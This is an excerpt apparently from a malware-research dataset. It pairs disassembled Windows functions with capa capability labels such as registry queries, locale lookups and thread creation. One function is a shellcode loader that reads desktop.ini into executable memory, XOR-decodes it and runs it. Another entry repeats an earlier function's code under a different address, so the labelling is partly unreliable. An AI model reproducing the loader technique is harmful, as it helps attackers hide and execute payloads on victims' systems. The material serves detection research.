joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c83f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004060db
and dword [ebp - 4], 0
cmp dword [0xadeb50], 0
mov ebx, eax
jne 0x40c8f0
push 0x401d84
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40c9a1
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401d78
push edi
call esi
test eax, eax
je 0x40c9a1
push eax
call fcn.00406069
mov dword [esp], 0x401d68
push edi
mov dword [0xadeb50], eax
call esi
push eax
call fcn.00406069
mov dword [esp], 0x401d54
push edi
mov dword [0xadeb54], eax
call esi
push eax
call fcn.00406069
mov dword [esp], 0x401d38
push edi
mov dword [0xadeb58], eax
call esi
push eax
call fcn.00406069
pop ecx
mov dword [0xadeb60], eax
test eax, eax
je 0x40c8f0
push 0x401d20
push edi
call esi
push eax
call fcn.00406069
pop ecx
mov dword [0xadeb5c], eax
mov eax, dword [0xadeb5c]
cmp eax, ebx
je 0x40c948
cmp dword [0xadeb60], ebx
je 0x40c948
push eax
call fcn.004060e4
push dword [0xadeb60]
mov esi, eax
call fcn.004060e4
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40c948
test edi, edi
je 0x40c948
call esi
test eax, eax
je 0x40c93f
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40c93f
test byte [ebp - 0xc], 1
jne 0x40c948
or dword [ebp + 0x10], 0x200000
jmp 0x40c981
mov eax, dword [0xadeb54]
cmp eax, ebx
je 0x40c981
push eax
call fcn.004060e4
pop ecx
test eax, eax
je 0x40c981
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40c981
mov eax, dword [0xadeb58]
cmp eax, ebx
je 0x40c981
push eax
call fcn.004060e4
pop ecx
test eax, eax
je 0x40c981
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0xadeb50]
call fcn.004060e4
pop ecx
test eax, eax
je 0x40c9a1
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40c9a3
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x40315c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x409014]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4031f4
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4031d4
xor eax, eax
push ebp
push 0x4031cd
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403210
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4031d4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x409014]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x409014], ax
mov esp, ebp
pop ebp
ret

Function at 0x403aa0
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x40a044], 0
je 0x403b01
cmp word [0x40a218], 0xd7b2
jne 0x403ac9
cmp dword [0x40a220], 0
jbe 0x403ac9
mov eax, 0x40a214
call dword [0x40a230]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x409060
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403b28
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x409020], 0
jne 0x403b1d
push 0
push 0x409058
push 0x409060
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x404430
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x404660
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x4044b3
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x404660
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x4044b3
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x40467c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x40453c
xor eax, eax
push ebp
push 0x404535
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00404278
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x40451a
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x40469c
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x40451a
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40453c
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x404656
cmp byte [ebp - 0xd], 0
jne 0x404583
cmp byte [ebp - 0x12], 0
je 0x404656
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x40459c
dec ebx
cmp byte [ebx], 0x2e
je 0x4045ab
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x40459b
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x404656
inc ebx
cmp byte [ebp - 0x12], 0
je 0x4045e8
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x404656
cmp byte [ebp - 0xd], 0
je 0x404656
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x404656
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40453c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x404660
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x4044b3
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x404660
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x4044b3
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x40467c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x40453c
xor eax, eax
push ebp
push 0x404535
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00404278
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x40451a
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x40469c
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x40451a
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40453c
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x404656
cmp byte [ebp - 0xd], 0
jne 0x404583
cmp byte [ebp - 0x12], 0
je 0x404656
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x40459c
dec ebx
cmp byte [ebx], 0x2e
je 0x4045ab
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x40459b
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x404656
inc ebx
cmp byte [ebp - 0x12], 0
je 0x4045e8
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x404656
cmp byte [ebp - 0xd], 0
je 0x404656
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x404656
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4047ec
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x404852
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00403e64
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402b90
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x40483c
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404859
lea eax, [ebp - 0x10]
call fcn.00403c1c
ret

Function at 0x4065f0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x406629
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403d0c
jmp 0x406632
mov eax, ebx
mov edx, esi
call fcn.00403c70
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40663c
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40665d
mov al, byte [esp]
jmp 0x40665f
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x406ce4
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x406b5c
mov eax, dword [0x4093b0]
cmp byte [eax], 0
je 0x406d60
mov eax, dword [0x409304]
call fcn.004029cc
call fcn.0040262c
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00405ae4
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x406da8
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x406d96
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x4092e4]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x40a660]
call fcn.0040423c
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x407754
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x4077b8
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00403e64
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.004059b8
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4077bf
lea eax, [ebp - 0xc]
call fcn.00403c1c
ret
Function at 0x447760
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x24
call fcn.005dfa60
mov eax, dword [0x6a704c]
xor eax, esp
mov dword [esp + 0x20], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [esp + 0x10], eax
call fcn.00595480
mov esi, eax
test esi, esi
jne 0x4477ad
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.005df097
mov esp, ebp
pop ebp
ret 0x10
cmp dword [edi + 0x14], 0x10
mov eax, edi
jb 0x4477b7
mov eax, dword [edi]
push eax
push 0x2712
push esi
call fcn.00598ad0
add esp, 0xc
cmp dword [ebx + 0x10], 0
je 0x4477e3
cmp dword [ebx + 0x14], 0x10
jb 0x4477d4
mov ebx, dword [ebx]
push ebx
push 0x271f
push esi
call fcn.00598ad0
add esp, 0xc
push 1
push 0x63
push esi
call fcn.00598ad0
add esp, 0xc
push 1
push 0x34
push esi
call fcn.00598ad0
add esp, 0xc
call fcn.00452b50
mov edx, eax
cmp dword [eax + 0x14], 0x10
jb 0x44780c
mov edx, dword [eax]
cmp dword [edi + 0x14], 0x10
mov ecx, edi
jb 0x447816
mov ecx, dword [edi]
push dword [eax + 0x10]
push edx
mov edx, dword [edi + 0x10]
push ecx
call fcn.00447c40
add esp, 0xc
mov edx, str.m_installer
cmp eax, 0xffffffff
mov ecx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_114.0.0.0_Safari_537.36
cmovne ecx, edx
push ecx
push 0x2722
push esi
call fcn.00598ad0
add esp, 0xc
push 2
push 0x54
push esi
call fcn.00598ad0
add esp, 0xc
push 1
push 0x29
push esi
call fcn.00598ad0
add esp, 0xc
push 0x32
push 0x44
push esi
call fcn.00598ad0
add esp, 0xc
push 1
push 0xd5
push esi
call fcn.00598ad0
add esp, 0xc
cmp byte [ebp + 0x14], 0
jne 0x4478a1
call fcn.00447970
cmp dword [eax + 0x10], 0
je 0x4478a1
call fcn.00447970
cmp dword [eax + 0x14], 0x10
jb 0x44789a
mov eax, dword [eax]
mov ecx, 0x2751
jmp 0x4478a8
mov ecx, 0x40
xor eax, eax
push eax
push ecx
push esi
call fcn.00598ad0
add esp, 0xc
mov dword [esp + 0x14], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0xf
push 0x447700
push 0x4e2b
push esi
call fcn.00598ad0
add esp, 0xc
push dword [esp + 0x10]
push 0x2711
push esi
call fcn.00598ad0
add esp, 0xc
lea eax, [esp + 0x14]
push eax
push 0x272d
push esi
call fcn.00598ad0
add esp, 0xc
push esi
call fcn.005954e0
add esp, 4
mov edi, eax
push esi
call fcn.00595460
mov edx, dword [esp + 0x2c]
add esp, 4
cmp edx, 0x10
jb 0x447949
mov ecx, dword [esp + 0x14]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x44793f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44795f
push edx
push ecx
call fcn.005df326
add esp, 8
mov ecx, dword [esp + 0x2c]
mov eax, edi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.005df097
mov esp, ebp
pop ebp
ret 0x10
call fcn.005e4e95
int3
Function at 0x448250
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x6089ff
mov eax, dword fs:[0]
push eax
mov eax, 4
call fcn.005dfa60
push esi
mov eax, dword [0x6a704c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
push 0
call fcn.005e06bd
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov eax, dword [ebp + 8]
mov byte [ebp - 4], 6
test eax, eax
je 0x4482ef
push eax
push esi
call fcn.005e09a0
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4
push str.bad_locale_name
call fcn.005e0670
int3
Function at 0x4491c0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, 8
call fcn.005dfa60
push esi
mov esi, ecx
push edi
cmp dword [esi + 0x11c], 0
je 0x4491f4
lea ecx, [esi + 0x10c]
call fcn.00451b00
test al, al
je 0x4491f4
lea ecx, [esi + 0x10c]
call fcn.0044e450
lea eax, [ebp - 4]
mov byte [esi + 0x20], 1
push eax
push 0
push esi
push 0x449760
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [esi + 0x150], 0
mov dword [esi + 0x12c], eax
jne 0x449226
cmp dword [esi + 0x154], 0
je 0x44922d
mov ecx, esi
call fcn.00449240
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x449550
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x20], 0
je 0x449592
push 2
push dword [esi + 0x12c]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [esi + 0xb8]
mov byte [esi + 0x20], 0
test eax, eax
je 0x449586
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [esi + 0xb8], 0
push dword [esi + 0x158]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
ret

Function at 0x44aaa0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 8
call fcn.005dfa60
push esi
mov esi, ecx
lea eax, [esi + 0xc8]
mov dword [eax + 0x10], 0
push edi
mov byte [esi + 0xe0], 1
mov byte [esi + 0x21], 0
mov dword [esi + 0x104], 0
cmp dword [eax + 0x14], 0x10
jb 0x44aade
mov eax, dword [eax]
mov byte [eax], 0
lea eax, [esi + 0x24]
mov dword [eax + 0x10], 0
cmp dword [eax + 0x14], 0x10
jb 0x44aaf3
mov eax, dword [eax]
mov byte [eax], 0
lea ecx, [esi + 0xe4]
mov eax, dword [ebp + 0xc]
cmp ecx, eax
je 0x44ab16
cmp dword [eax + 0x14], 0x10
mov edx, eax
jb 0x44ab0d
mov edx, dword [eax]
push dword [eax + 0x10]
push edx
call fcn.00446eb0
mov eax, dword [ebp + 0x10]
mov edx, dword [eax + 0x10]
test edx, edx
je 0x44ab39
lea ecx, [esi + 0x10c]
cmp ecx, eax
je 0x44ab39
cmp dword [eax + 0x14], 0x10
jb 0x44ab32
mov eax, dword [eax]
push edx
push eax
call fcn.00446eb0
push dword [ebp + 8]
mov ecx, esi
call fcn.004495a0
cmp dword [esi + 0x11c], 0
je 0x44ab66
lea ecx, [esi + 0x10c]
call fcn.00451b00
test al, al
je 0x44ab66
lea ecx, [esi + 0x10c]
call fcn.0044e450
lea eax, [esp + 0xc]
mov byte [esi + 0x20], 1
push eax
push 0
push esi
push 0x44abb0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [esi + 0x150], 0
mov dword [esi + 0x12c], eax
jne 0x44ab99
cmp dword [esi + 0x154], 0
je 0x44aba0
mov ecx, esi
call fcn.00449240
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x44c6d0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x608f50
mov eax, dword fs:[0]
push eax
mov eax, 8
call fcn.005dfa60
push ebx
push esi
push edi
mov eax, dword [0x6a704c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
push 8
mov dword [eax], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.005df0a5
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.005e08a0
mov dword [esi + 4], eax
add esp, 8
mov eax, dword [ebp - 0x10]
lea edi, [eax + 0x14]
lea ecx, [eax + 0x18]
lea edx, [eax + 0x24]
mov dword [eax + 0x34], esi
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea esi, [eax + 8]
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
mov dword [eax + 0x2c], edx
add eax, 0x28
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov eax, dword [ebp - 0x10]
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 0
mov dword [eax], vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov dword [eax + 0x38], 0
mov dword [eax + 0x3c], 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x44f870
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x6092fd
mov eax, dword fs:[0]
push eax
mov eax, 0x24
call fcn.005dfa60
mov eax, dword [0x6a704c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x6af5b0]
cmp eax, dword [ecx + 4]
jle 0x44f900
push 0x6af5b0
call fcn.005df48a
add esp, 4
cmp dword [0x6af5b0], 0xffffffff
jne 0x44f900
push 0x60a740
mov dword [0x6af428], 0
mov dword [0x6af438], 0
mov dword [0x6af43c], 0xf
call fcn.005df311
push 0x6af5b0
call fcn.005df440
add esp, 8
cmp dword [0x6af438], 0
jne 0x44f98e
push 0x208
push 0
mov dword [ebp - 0x2c], 0x104
call fcn.005e4cb3
mov esi, eax
add esp, 8
mov dword [ebp - 0x30], esi
push 1
push 0x28
push esi
push 0
mov dword [ebp - 4], 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov edx, esi
lea ecx, [ebp - 0x28]
call fcn.0044e3a0
push eax
mov ecx, 0x6af428
call fcn.004470a0
mov edx, dword [ebp - 0x14]
cmp edx, 0x10
jb 0x44f981
mov ecx, dword [ebp - 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x44f977
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44f9ad
push edx
push ecx
call fcn.005df326
add esp, 8
test esi, esi
je 0x44f98e
push esi
call fcn.005e4cbe
add esp, 4
mov eax, 0x6af428
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005df097
mov esp, ebp
pop ebp
ret
call fcn.005e4e95
int3